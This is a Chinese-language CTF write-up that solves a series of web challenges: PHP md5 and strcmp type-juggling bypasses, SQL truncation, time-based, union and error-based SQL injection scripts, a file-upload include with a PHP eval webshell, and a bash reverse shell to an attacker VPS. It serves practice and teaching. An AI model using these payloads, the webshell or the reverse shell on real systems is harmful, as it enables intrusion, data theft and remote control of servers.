页面打开啥都没发现,然后右键源代码,发现有个超链接至code.txt,页面上不注意看还看不出来呢。点进来之后发现原来是源代码泄露。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

这里关键代码在if里,第一个要求v1不等于v2,且v1的md5等于v2的md5,这里其实涉及到PHP的md5弱类型比较。

php中有两种比较的符号 == 与 ===,=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。

== 在进行比较的时候,会先将字符串类型转化成相同,再比较。这里举个例子,为什么下面的结果是true。

1
var_dump("0e123456"=="0e4456789"); //true

“0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。

介绍一批md5开头是0e的字符串 上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。md5(‘240610708’) == md5(‘QNKCDZO’)成功绕过!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

第二个考点就是绕过strcmp()函数的比较,据我们所知,strcmp函数存在漏洞。

注:这一个漏洞适用与5.3之前版本的php

我们首先看一下这个函数,这个函数是用于比较字符串的函数

1
int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!! 也就是虽然报了错,但却判定其相等了。

所以最后POC是http://118.89.219.210:49162/?v1=s1885207154a&v2=s1091221200a&v3[]=1

flag:SKCTF{Php_1s_tH3_B3St_L4NgUag3}

login1(SKCTF)

参考文章

简单理解SQL约束攻击,在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。也就是说”admin “等同于”admin”

当然SQL约束攻击真正利用起来,存在以下的约束条件。

  1. 服务端没有对用户名长度进行限制。如果服务端限制了用户名长度就不能导致数据库截断,也就没有利用条件。
  2. 登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码,然后再比对密码的话,那么也不能进行利用。因为当使用Dumb为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条则是目标用户的记录,那么你传输的密码肯定是和目标用户密码匹配不上的。
  3. 验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户Dumb和密码123456登陆时,其实数据库返回的是我们自己的用户信息,而我们的用户名其实是[admin ],如果此后的业务逻辑以该用户名为准,那么就不能达到越权的目的了。

所以这题解题很简单,第一步注册,username使用超长空格替代。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /register.php HTTP/1.1
Host: 118.89.219.210:49163
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.89.219.210:49163/register.php
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 137

username=admin+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&password=Abcde12345&sub=%E6%B3%A8+%E5%86%8C

第二步直接登录即可获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: 118.89.219.210:49163
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://118.89.219.210:49163/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

username=admin&password=Abcde12345&sub=%E7%99%BB+%E5%BD%95

flag:SKCTF{4Dm1n_HaV3_GreAt_p0w3R}

你从哪里来

这题看题目提示就知道要改referer字段

1
2
3
4
5
6
7
8
9
10
GET /from.php HTTP/1.1
Host: 120.24.86.145:9009
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c439sal8aqdga0vvjl40b89gfnl4s3b9
referer: https://www.google.com
Connection: close
Upgrade-Insecure-Requests: 1

flag:flag{bug-ku_ai_admin}

md5 collision(NUPT_CTF)

这题应该是南邮上面的,还是考md5弱类型比较吧

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

payload:http://120.24.86.145:9009/md5.php?a=240610708

flag:flag{md5_collision_is_easy}

各种绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])

print 'passwd can not be uname.';

else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>

这里的关键点在于if循环里,首先要求uname不等于passwd,且$_GET['uname']要类型数据都等于$_POST['passwd'],这里有个知识点Md5和sha1对一个数组进行加密将返回NULL;而NULL===NULL返回true,所以可绕过判断。

所以这题payload

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /web7/?uname[]=a&id=margin HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c439sal8aqdga0vvjl40b89gfnl4s3b9
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

passwd[]=2

flag:flag{HACK_45hhs_213sDD}

web8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

简单的代码审计,意思就是$ac等于$f,file_get_contents()是将文件内容读取出来,但是file_get_contents()是支持字节流输入的,这里我们可以通过PHP伪协议代替。

构造pyaload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /web8/?ac=1&fn=php://input HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=c439sal8aqdga0vvjl40b89gfnl4s3b9
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1

1

flag:flag{3cfb7a90fc0de31}

细心

首页进来没啥东西,尝试扫一下目录,发现robots.txt,访问下robots.txt,发现一个resus1.php文件,访问他。

这里提示我们你不是管理员,我想大概是要变成管理员吧,题目提示了一行代码

1
if ($_GET[x]==$password) 此处省略1w字

尝试下构造:http://120.24.86.145:8002/web13/resusl.php?x=admin

成功获得flag:flag(ctf_0098_lkji-s)

求getshell

这里直接上传1.php不让我上传。

11

尝试修改文件类型为jpg,也无法上传。

10

尝试修改PHP后缀名,绕过上传,也无法上传。

9

尝试Content-Type中大小写改变下,绕过类型检测。成功获得flag。flag:KEY{bb35dc123820e}

8

INSERT INTO注入

这题题目给了代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

从代码来看,应该是X_FORWARDED_FOR注入了,但是过滤了,。在过滤了逗号的情况下,就无法使用if语句了,当然在mysql下除了if还有一个功能的东西

1
select case when xxx then xxx else xxx end;

而且由于,被过滤,无法使用substr和substring,但是这里可以使用from 1 for 1替代,最后payload如下:

1
11'+(select case when substr((select flag from flag) from 1 for 1)='a' then sleep(5) else 0 end))%23
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string

mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end) and '1'='1" #这里的{}对应的是后面所需要的format
flag = ''

for i in range(1,35):
for j in mystring:
try:
headers = {'x-forwarded-for':data.format(str(i),j)}
res = requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout:
flag += j
print flag
break

print 'The final flag:'+flag

这个代码的原理就是利用127.0.0.1+true/false去进行判断,如果是true,就与超时相违背,从而执行下面except的代码。

flag:flag{cdbf14c9551d5be5612f7bb5d2867853}

这是一个神奇的登陆框

这里试着的时候,发现存在SQL报错注入

1
2
3
4
admin_name=admin&admin_passwd=admin%22 union select database(),1#&submit=GO+GO+GO   //数据库名                                                                                         bugkusql1
admin_name=admin&admin_passwd=admin%22 union select group_concat(table_name),1 from information_schema.tables where table_schema='bugkusql1'#&submit=GO+GO+GO //数据库表名 flag1
admin_name=admin&admin_passwd=admin%22 union select group_concat(column_name),1 from information_schema.columns where table_schema='bugkusql1' and table_name='flag1' #&submit=GO+GO+GO //数据库列名 flag1
admin_name=admin&admin_passwd=admin%22 union select flag1,1 from bugkusql1.flag1#&submit=GO+GO+GO

flag:ed6b28e684817d9efcaf802979e57aea

多次

通过异或注入判断,可以迅速判断页面过滤了什么参数。在id=1后面增加payload:'^(length('union')!=0)^'。如果页面正常显示,则证明length(union)是等于0的,所以union被过滤了。测试发现and,or,select,union都被过滤了。这里尝试通过aandnd去绕过and发现可以绕过。

6

7

然后这题环境似乎出了点问题,先跳过。

PHP_encrypt_1(ISCCCTF)

直接给了加密的源码,输出是output: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

直接写解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
function decrypt($str) {
$mkey = "729623334f0aa2784a1599fd374c120d";
$klen = strlen($mkey);
$tmp = $str;
$tmp = base64_decode($tmp); // 对 base64 后的字符串 decode
$md_len = strlen($tmp); //获取字符串长度
for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key;
if ($x == $klen) // 数据长度是否超过 key 长度检测
$x = 0;
$char .= $mkey[$x]; // 从 key 中取二次加密用 key
$x+=1;
}
$md_data = array();
for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
array_push($md_data, ord($tmp[$i]));
}
$md_data_source = array();
$data1 = "";
$data2 = "";
foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
$i = $key;
if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
$dd = $value;
$od = ord($mkey[$i]);
array_push($md_data_source,$dd);
$data1 .= chr(($dd+128)-$od); // 第一种可能, 余数+128-key 为回归数
$data2 .= chr($dd-$od); // 第二种可能, 余数直接-key 为回归数
}
print "data1 => ".$data1."<br>\n";
print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

文件包含2

这题看url就好像是文件包含,直接用php://filter读取下源代码

hello.php

1
2
<!-- upload.php -->
<h1>NAIVE!!!</h1>

访问upload.php,那么这题其实很简单了,通过直接上传带有恶意代码内容的图片,通过文件包含去执行图片。

12

然后上传的时候发现好像过滤了php的标签,这里尝试通过<script>去绕过

1
<?=@eval($_POST['cmd']);

flag:SKCTF{uP104D_1nclud3_426fh8_is_Fun}

sql注入2

说是注入,结果死活没找到注入点,最后没办法了,扫一下目录文件,发现DS_Store源码泄露,然后把源码搞了下来,最后直接访问http://120.24.86.145:8007/web2/flag就有flag了,flag:flag{sql_iNJEct_comMon3600!}

报错注入

可以看到这里过滤了很多字符,包括空格,但由于mysql的特性,我们可以使用回车换行符还替代即%0a或%0d。

因为要进行报错注入,所以我们可以使用extractvalue()或者updatexml()进行报错,尝试一条报错语句:

1
?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a@@version),0x7e),1)

可以看到已经成功报错,这里把%0a换成%0d也是可以的。要读取文件,mysql提供了load_file()函数,并且需要对文件名进行16进制编码。又因为extractvalue()有长度限制,最长为32位,所以我们需要使用substr()hex()过的文件内容进行分割,我们一次取30个就好。这里注意的是如果不对文件内容进行16进制编码就会出现无法读取的情况。

1
?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)

flag: Flag:”7249f5a7fd1de602b30e6f39aea6193a”

Trim的日记本

这题以为是道注入题,没找到注入点,然后随手注册个id,好像也无法登陆,然后就去扫一下目录看看,有啥发现,一共发现三个login.php,show.php,register.php

访问show.php发现一个flag:flag1:{0/m9o9PDtcSyu7Tt}以为是假的flag,随手提交下,没想到是真的,哎,这题不知道说什么了。

login2(SKCTF)

对请求抓包,然后可以发现tip,解密出来是几行代码。

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

简单看一下这里可以看到它是分离式的验证,首先查询username的用户,然后拿出password再进行比较,当然这题本来想着自己注入出用户名和密码,但没办法做,找了下wp:

1
username=' union select md5(1),md5(1)#&password=1

执行这条语句时由于前面的username为空,所以没有数据返回,但后面的union select md5(1),md5(1)则会返回两个MD5(1)的值,然后password我们也置为1,从而绕过if语句的判断。

然后进来命令执行,这里为了方便我弹了一个shell回来

|bash -i >& /dev/tcp/vpsip/4444 0>&1

flag:SKCTF{Uni0n_@nd_c0mM4nD_exEc}

login3(SKCTF)

题目提示了基于bool的盲注,然后fuzz一发发现过滤空格,用括号绕过,过滤了=,用<>饶过。

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string
import hashlib
import re
url='http://47.93.190.246:49167/'
sss=string.digits+string.lowercase
answer=''
for i in range(1,50):
flag=0
for j in sss:
postuser="'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
data = {'username':postuser,'password':'admin'}
html = requests.post(url,data=data) .text
html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[0]
if 'username does not exist!' in html :
answer+=j
flag=1
print answer
break
if flag ==0 :
break

print 'password is ',answer

结果:51b7a76d51e70b419f60d3473fb6f900,解密下skctf123456

flag:SKCTF{b1iNd_SQL_iNJEcti0n!}